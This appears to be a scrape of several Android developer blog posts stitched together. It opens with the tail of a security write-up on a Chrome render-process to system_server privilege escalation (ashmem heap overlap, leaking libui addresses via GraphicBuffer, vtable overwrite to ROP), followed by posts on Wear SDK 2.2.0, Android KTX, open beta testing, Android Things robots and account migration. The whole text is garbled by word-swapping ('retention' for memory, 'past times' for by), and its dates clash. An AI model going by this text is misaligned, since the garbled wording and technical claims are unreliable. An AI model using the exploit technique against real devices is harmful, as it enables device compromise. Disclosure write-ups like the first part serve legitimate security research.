7f54400000-7f54600000 rw-s 00000000 00:04 31603        /dev/ashmem/360alpha1000 (deleted) 7f54600000-7f547ff000 rw-p 00000000 00:00 0           [anon:libc_malloc] 7f547ff000-7f549ff000 rw-s 00000000 00:04 31605          /dev/ashmem/360alpha1001 (deleted) //--->the heap managing director believes the retention make from 0x7f547ff000 to 0x7f54800000 is even thence mongered past times it in addition to volition allocate retention from this range, consequence inwards heap information is written to ashmem retention 7f549ff000-7f54a00000 rw-s 001fe000 00:04 32783        /dev/ashmem/360alpha29 (deleted) 7f54a00000-7f54c00000 rw-s 00000000 00:04 32781        /dev/ashmem/360alpha28 (deleted) 7f54c00000-7f54e00000 rw-s 00000000 00:04 32779        /dev/ashmem/360alpha27 (deleted) 7f54e00000-7f55000000 rw-s 00000000 00:04 32777        /dev/ashmem/360alpha26 (deleted) 7f55000000-7f55200000 rw-s 00000000 00:04 32775        /dev/ashmem/360alpha25 (deleted) 

5. Because the filled ashmem inwards measuring 3 is mapped both past times system_server in addition to homecoming process, portion of the heap of system_server tin endure read in addition to written past times homecoming procedure in addition to nosotros tin trigger system_server to allocate some GraphicBuffer object inwards ashmem. As GraphicBuffer is inherited from ANativeWindowBuffer, which has a fellow member named mutual whose type is android_native_base_t, nosotros tin read 2 portion points (incRef in addition to decRef) from ashmem retention in addition to and thence tin calculate the base of operations address of the module libui. In the latest Pixel device, Chrome's homecoming procedure is even thence 32-bit procedure but system_server is 64-bit process. So nosotros own got to leak some module's base of operations address for ROP. Now that nosotros own got the base of operations address of libui, the terminal measuring is to trigger ROP. Unluckily, it seems that the points incRef in addition to decRef haven't been used. It's impossible to modify it to boundary to ROP, but nosotros tin modify the virtual tabular array of GraphicBuffer to trigger ROP.

typedef struct android_native_base_t {     /* a magic value defined past times the actual EGL native type */     int magic;      /* the sizeof() of the actual EGL native type */     int version;      void* reserved[4];      /* reference-counting interface */     void (*incRef)(struct android_native_base_t* base);     void (*decRef)(struct android_native_base_t* base); } android_native_base_t; 

6.Trigger a GC to execute ROP

When a GraphicBuffer object is deconstructed, the virtual portion onLastStrongRef is called, thence nosotros tin supplant this virtual portion to boundary to ROP. When GC happens, the command menstruation goes to ROP. Finding an ROP chain inwards express module(libui) is challenging, but after hard work, nosotros successfully constitute i in addition to dumped the contents of the file into /data/misc/wifi/wpa_supplicant.conf .

Summary

The Android safety squad responded chop-chop to our study in addition to included the cook for these 2 bugs inwards the December 2017 Security Update. Supported Google device in addition to devices amongst the safety patch marker of 2017-12-05 or afterward address these issues. While parsing untrusted parcels even thence happens inwards sensitive locations, the Android safety squad is working on hardening the platform to mitigate against similar vulnerabilities.

The EoP põrnikas was discovered cheers to a articulation endeavor betwixt 360 Alpha Team in addition to 360 C0RE Team. Thanks real much for their effort.

Android Vesture Sdk Together With Emulator Update

Posted past times Hoi Lam, Lead Developer Advocate, Android Wear
Today nosotros launched the latest version of the Android Wear SDK (2.2.0) amongst several picket confront related enhancements. These include the add-on of an unread notification indicator for all picket faces, which is planned to live business office of the upcoming consumer unloosen of Android Wear. With the Wear SDK 2.2.0, you lot tin customize the notification indicator or display your own. This characteristic is available to the developer community early, via the SDK too emulator, then you lot tin verify that the indicator fits the pattern of your picket face. In addition, nosotros are adding enhancements to the ComplicationDrawable degree too publishing the concluding version of the Wear emulator based on Android Oreo.

Introducing the unread notification indicator


Notification is a vital business office of the Wear experience. As a result, starting from the adjacent consumer unloosen of Wear (version 2.9.0), a dot-shaped indicator volition live displayed past times default at the bottom of the picket confront if at that spot are new, unread notifications. Watch confront developers tin preview the indicator amongst their picket faces past times using the latest version of the emulator. Developers tin customise the indicator's accent coloring via WatchFaceStyle.setAccentColor - the default coloring is white every bit shown inwards the event below, only developers tin laid the coloring for the band unopen to the point to an accent coloring of their choice, to gibe the residual of the picket face.
If the novel indicator does non fit amongst the pattern of your picket face, you lot tin switch it off using WatchFaceStyle.setHideNotificationIndicator too lead some other alternative for displaying the notification, including: 1) displaying the number of unread notifications inwards the organisation tray using WatchFaceStyle.setShowUnreadCountIndicator, or 2) getting the number of unread notifications using WatchFaceStyle.getUnreadCount too displaying the number inwards a means that fits your picket face's unique style.

Enhancement to ComplicationDrawable


We launched the ComplicationDrawable degree at lastly year's Google I/O, too nosotros are continuing to meliorate it. In this latest SDK release, nosotros added 2 enhancements:
  • Permission Handling - If the picket confront lacks the right permission to display the content of a complication, the complication type of TYPE_NO_PERMISSION is issued. ComplicationDrawable at i time handles this automatically too volition launch a permission asking inwards onTap. If you lot previously implemented your ain code to commencement the permission screen, delight banking concern check that the permission covert is non triggered twice and, if necessary, take away unneeded code.
  • Drawable Callback - If a complication contains an ikon or an icon, it tin accept a pocket-sized amount of fourth dimension to charge subsequently the other initial information arrives. Our previous recommendation thence was that you lot redraw the covert every second. But this is unnecessary for picket faces that alone update i time per minute, for example. As a result, nosotros cause got added novel back upward for Drawable.Callback to ComplicationDrawable. Developers who update the covert less oft than i time per 2nd should adopt this novel callback to redraw the picket confront when images cause got loaded.
For more, delight encounter the Android Wear Release Notes which includes other information regarding the emulator.

More improvements to come


Many of you lot cause got noticed a steady unloosen of enhancements to Android Wear over the lastly few months since the launch of Wear 2.0. We are developing many to a greater extent than for the months ahead too await frontwards to sharing to a greater extent than when the features are ready.



Tuesday, October 23, 2018

Android Developer Story: Big Fish Games Uses Opened Upwards Beta Testing To De-Risk Their Game Launch

Posted past times Kacey Fahey, Developer Marketing, Google Play

Based inwards Seattle, Big Fish Games was founded inwards 2002. Starting equally a game studio, they chop-chop turned into a major publisher too distributor of casual games. Leading upwards to the launch of their hitting fourth dimension management game, Cooking Craze, the squad ran an opened upwards beta on Google Play.

Big Fish Games establish that using opened upwards beta provided to a greater extent than than 10x the sum of user feedback from unopen to the world, too too gave them access to cardinal metrics too Android Vitals inwards the Play Console. The mightiness to monitor game functioning metrics pre-launch allowed the squad to focus on areas of improvement, which atomic number 82 to a 21% reduction inwards crash rate. The larger sample size of beta testers too provided to a greater extent than insights on thespian behaviour too helped arrive at a +7% improvement inwards twenty-four hr menses 1, twenty-four hr menses 7, too twenty-four hr menses xxx retentiveness rates.

You tin forcefulness out too larn to a greater extent than pre-launch best practices too strategies to better functioning post-launch at our Google Developer Day on Monday, March 19th at GDC. Sign up to remain informed.

How useful did you lot uncovering this blogpost?

★ ★ ★ ★ ★

Iot Developer Story: Deeplocal

Posted past times Dave Smith, Developer Advocate for IoT

Deeplocal is a Pittsburgh-based innovation studio that makes inventions every bit marketing to assistance the world's nearly loved brands say their stories. The squad at Deeplocal built several fun in addition to engaging robotics projects using Android Things. Leveraging the developer ecosystem surrounding the Android platform in addition to the compute ability of Android Things hardware, they were able to chop-chop in addition to easily create robots powered past times reckoner vision in addition to machine learning.

DrawBot

DrawBot is a DIY drawing robot that transforms your selfies into physical industrial plant of art.

"The Android Things platform helped us motion chop-chop from an idea, to prototype, to concluding product. Switching from proper substantive upwards apps to embedded code was slow inwards Android Studio, in addition to nosotros were able to line inwards OpenCV modules, motor drivers, in addition to other libraries every bit needed. The concluding version of our paradigm was created ii weeks later on unboxing our laid about Android Things developer kit."

- Brian Bourgeois, Producer, Deeplocal

Want to construct your ain DrawBot? See the Hackster.io project for all the origin code, schematics, in addition to 3D models.

HandBot

Influenza A virus subtype H5N1 robotic manus that learns in addition to reacts to manus gestures, HandBot visually recognizes gestures in addition to applies machine learning.

"The Android Things platform made integration endure for Handbot a breeze. Using TensorFlow, nosotros were able to educate a neural network to recognize manus gestures. Once this was created, nosotros were able to role Android Things drivers to implement games inwards easy-to-read Android code. In a affair of weeks, nosotros went from a fresh developer kit to competing against a robot manus inwards Rock, Paper, Scissors."

- Mike Derrick, Software Engineer, Deeplocal

Want to construct your ain HandBot? See the Hackster.io project for all the origin code, schematics, in addition to 3D models.

Visit the Google Hackster community to explore to a greater extent than inspiring ideas only similar these, in addition to bring together Google's IoT Developers Community on Google+ to acquire the latest platform updates, enquire questions, in addition to hash out ideas.

Introducing Android Ktx: Fifty-Fifty Sweeter Kotlin Evolution For Android

Posted yesteryear Jake Wharton (@JakeWharton), Florina Muntenescu (@FMuntenescu) & James Lau (@jmslau)

Today, nosotros are announcing the preview of Android KTX - a laid of extensions designed to brand writing Kotlin code for Android to a greater extent than concise, idiomatic, as well as pleasant. Android KTX provides a overnice API layer on top of both Android framework as well as Support Library to brand writing your Kotlin code to a greater extent than natural.

The portion of Android KTX that covers the Android framework is directly available inward our GitHub repo. We invite y'all to endeavor it out to give us your feedback as well as contributions. The other parts of Android KTX that encompass the Android Support Library volition last available inward upcoming Support Library releases.

Let's accept a aspect at roughly examples of how Android KTX tin deal y'all write to a greater extent than natural as well as concise Kotlin code.

Code Samples Using Android KTX

String to Uri

Let's start amongst this uncomplicated example. Normally, you'd telephone phone Uri.parse(uriString). Android KTX adds an extension portion to the String degree that allows y'all to convert strings to URIs to a greater extent than naturally.

Kotlin
Kotlin amongst Android KTX
val uri = Uri.parse(myUriString)
val uri = myUriString.toUri()

Edit SharedPreferences

Editing SharedPreferences is a really mutual purpose case. The code using Android KTX is slightly shorter as well as to a greater extent than natural to read as well as write.

Kotlin
Kotlin amongst Android KTX
sharedPreferences.edit()            .putBoolean(key, value)            .apply() 
sharedPreferences.edit {      putBoolean(key, value)  }    

Translating path difference

In the code below, nosotros interpret the departure betwixt ii paths yesteryear 100px.

Kotlin
Kotlin amongst Android KTX
val pathDifference = Path(myPath1).apply {    op(myPath2, Path.Op.DIFFERENCE) }  val myPaint = Paint()  canvas.apply {    val checkpoint = save()    translate(0F, 100F)    drawPath(pathDifference, myPaint)    restoreToCount(checkpoint) }   
val pathDifference = myPath1 - myPath2  canvas.withTranslation(y = 100F) {    drawPath(pathDifference, myPaint) }  

Action on View onPreDraw

This instance triggers an activeness amongst a View's onPreDraw callback. Without Android KTX, in that location is quite a flake of code y'all need to write.

Kotlin
view.viewTreeObserver.addOnPreDrawListener(        object : ViewTreeObserver.OnPreDrawListener {            override fun onPreDraw(): Boolean {                viewTreeObserver.removeOnPreDrawListener(this)                actionToBeTriggered()                return true            }        })
Kotlin amongst Android KTX
view.doOnPreDraw { actionToBeTriggered() }

There are many to a greater extent than places where Android KTX tin simplify your code. You tin read the full API reference documentation on GitHub.

Getting Started

To start using Android KTX inward your Android Kotlin projects, add together the next to your app module's build.gradle file:

repositories {     google() }  dependencies {     // Android KTX for framework API     implementation 'androidx.core:core-ktx:0.1'     ... } 

Then, later on y'all sync your project, the extensions seem automatically inward the IDE's auto-complete list. Selecting an extension automatically adds the necessary import contention to your file.

Beware that the APIs are probable to alter during the preview period. If y'all determine to purpose it inward your projects, y'all should aspect breaking changes earlier nosotros accomplish the stable version.

androidx: Hello World!

You may discovery that Android KTX uses bundle names that laid out amongst androidx. This is a novel bundle refer prefix that nosotros volition last using inward time to come versions of Android Support Library. We promise the partition betwixt android.* as well as androidx.* makes it to a greater extent than obvious which APIs are bundled amongst the platform, as well as which are static libraries for app developers that run into dissimilar versions of Android.

What's Next?

Today's preview launch is exclusively the beginning. Over the side yesteryear side few months, nosotros volition iterate on the API every bit nosotros contain your feedback as well as contributions. When the API has stabilized as well as nosotros tin commit to API compatibility, nosotros programme to unloose Android KTX every bit portion of the Android Support Library.

We aspect frontward to edifice Android KTX together amongst you. Happy Kotlin-ing!

Monday, October 22, 2018

Discover Tools For Android Information Migration In Addition To Meliorate Your App Retention

Discover Tools For Android Information Migration In Addition To Meliorate Your App Retention

Posted past times Sean McQuillan (@objcode) as well as Prateek Tandon (@ptandon05)

What happens to app usage as well as accessibility when people acquire novel phones? The feedback we've had is that people desire apps to piece of occupation lead out of the box, merely similar on their former phones.

Developers of successful apps powerfulness also live on used to thinking most user activation inwards a model borrowed lead from web. On the web, people register novel accounts, activate past times finding groovy features, as well as hence acquire retained when they sense value, as well as come upwards dorsum repeatedly to utilization your spider web page.

The storey is much the same on mobile. People register to do novel accounts, activate past times using your groovy features, as well as hence acquire retained when they discovery value as well as repeatedly launch your app. However, there's i large difference. Android apps typically shop to a greater extent than information compared to your average spider web session. You ordinarily never bring to re-enter your password for an Android app for years, post draw of piece of occupation organisation human relationship creation, that is until the 2d you lot acquire a novel phone.

Getting a novel telephone tin live on a rare number for many people - about going years betwixt upgrading devices. However, overall a large proportion of those who utilization your app volition acquire a novel telephone every year. We bring several tools to help you lot buy the farm along people logged in, engaged, as well as happy when they utilization your app on a novel phone.

Back upwards your app data

Auto Backup for apps should live on configured for every application. This characteristic does just what it says - automatically backs upwards your app data. So when people acquire a novel phone, their app information is automatically restored earlier your app launches.

To configure Auto Backup for your app you lot necessitate to setup include/exclude rules:

AndroidManifest.xml

<application ...     android:fullBackupContent="@xml/autobackup"> 

xml/autobackup.xml

<?xml version="1.0" encoding="utf-8"?> <full-backup-content>     <include domain="sharedpref" path="."/>     <exclude domain="sharedpref" path="device.xml"/> </full-backup-content> 

When configuring include/exclude rules it's of import to avoid storing sensitive user information inwards Auto Backup, although it's a groovy house to shop user specific settings as well as other app content!

To implement tracking for Auto Backup register a BackupAgent as well as nous for onQuotaExceeded(long, long) callback. If your app exceeds the 25MB backup limit, this callback volition live on your notification of failure. In a good configured app this volition never happen, hence you lot tin runway it every bit a crash report.

Learn to a greater extent than most Auto Backup for apps.

Optimize log-in

When nosotros verbalize to people most the experiences they desire on their novel phones they're real clear; they desire your app to recollect who they are, as well as they don't desire to re-enter a password. There are several ways you lot tin scope this every bit a developer:

  • Use Google Sign-In to brand login frictionless. People tin sign inwards amongst their Gmail account, or whatever e-mail address. Most importantly, they don't necessitate to recollect a password. On top of improving registration as well as activation, enabling Google Sign-In volition also help amongst retentivity every bit it allows those getting novel phones to reactivate amongst a unmarried button, or fifty-fifty automatically. Even better, you lot tin utilization Google Sign-In for the same login sense for your iOS, Web, as well as Android applications. This seamless sense is also available if your app uses Firebase Auth to handgrip Google Sign-In.
  • Make things simpler past times using Google Smart Lock as well as Autofill. These ii features piece of occupation mitt inwards mitt to help people safely access their passwords. Autofill was introduced inwards Android O, as well as volition offering to relieve your app user's passwords to the Smart Lock datastore, or their preferred password manager, automatically when they log in. To gear upwards your app, setup Autofill hints, as well as exclude fields that should non live on filled past times the Autofill framework.
 <TextView 

android:id="@+id/username" android:layout_width="wrap_content" android:layout_height="wrap_content" android:autofillHints="username" />

<TextView android:id="@+id/password" android:layout_width="wrap_content" android:layout_height="wrap_content" android:autofillHints="password" />

<TextView android:id="@+id/captcha" android:layout_width="wrap_content" android:layout_height="wrap_content" android:importantForAutofill="no" />

  • Integrate the Smart Lock for Passwords API to safely shop passwords. It's backwards compatible to API ix as well as plant groovy on devices amongst older versions of Android that don't piece of occupation amongst Autofill. Similar to Autofill, Smart Lock API volition offering a dialog to relieve people's passwords later on they log in. But fifty-fifty improve - it enables programmatic retrieval for automatic provide to user sign-in, fifty-fifty across novel devices as well as inwards Chrome. To back upwards this Smart Lock functionality you lot volition necessitate to include about code inwards your app; banking firm lucifer out the Codelab to larn how to integrate Smart Lock for Passwords to your app. Also, live on certain to link your app as well as website, for a smoothen sense across Chrome as well as Android amongst Autofill as well as Smart Lock.
  • Consider using the Account Transfer API hence your app tin transfer credentials from an former telephone to a novel one. It does this using an encrypted bluetooth/cable, as well as you lot tin transfer information from phones running API fourteen or higher. Account transfer happens when your app user is setting upwards their novel telephone for the showtime time, though your app doesn't necessitate to live on installed from the Google Play Store. When your app re-installs from Google Play, the credentials volition live on available to your app on showtime launch. Watch to a greater extent than best practices to acquire started amongst the Account Transfer API, as well as read the API guide for Account Transfer.
  • Codelabs

    If you lot haven't already, crusade the Auto Backup for Android Codelab, as well as SmartLock Codelab.

    Improving retentivity on Android for many people volition involve trying to overcome the friction of device switches. With a rich toolbox at your disposal to transfer settings amongst Auto Backup, as well as to improve the login sense amongst Google Sign-In, Smart Lock for Passwords, Autofill, as well as Account Transfer API, you lot bring the chance to deliver a groovy user story: your app plant on people's novel phones, merely similar it did on their former phones.

    How useful did you lot discovery this blogpost?

    ★ ★ ★ ★ ★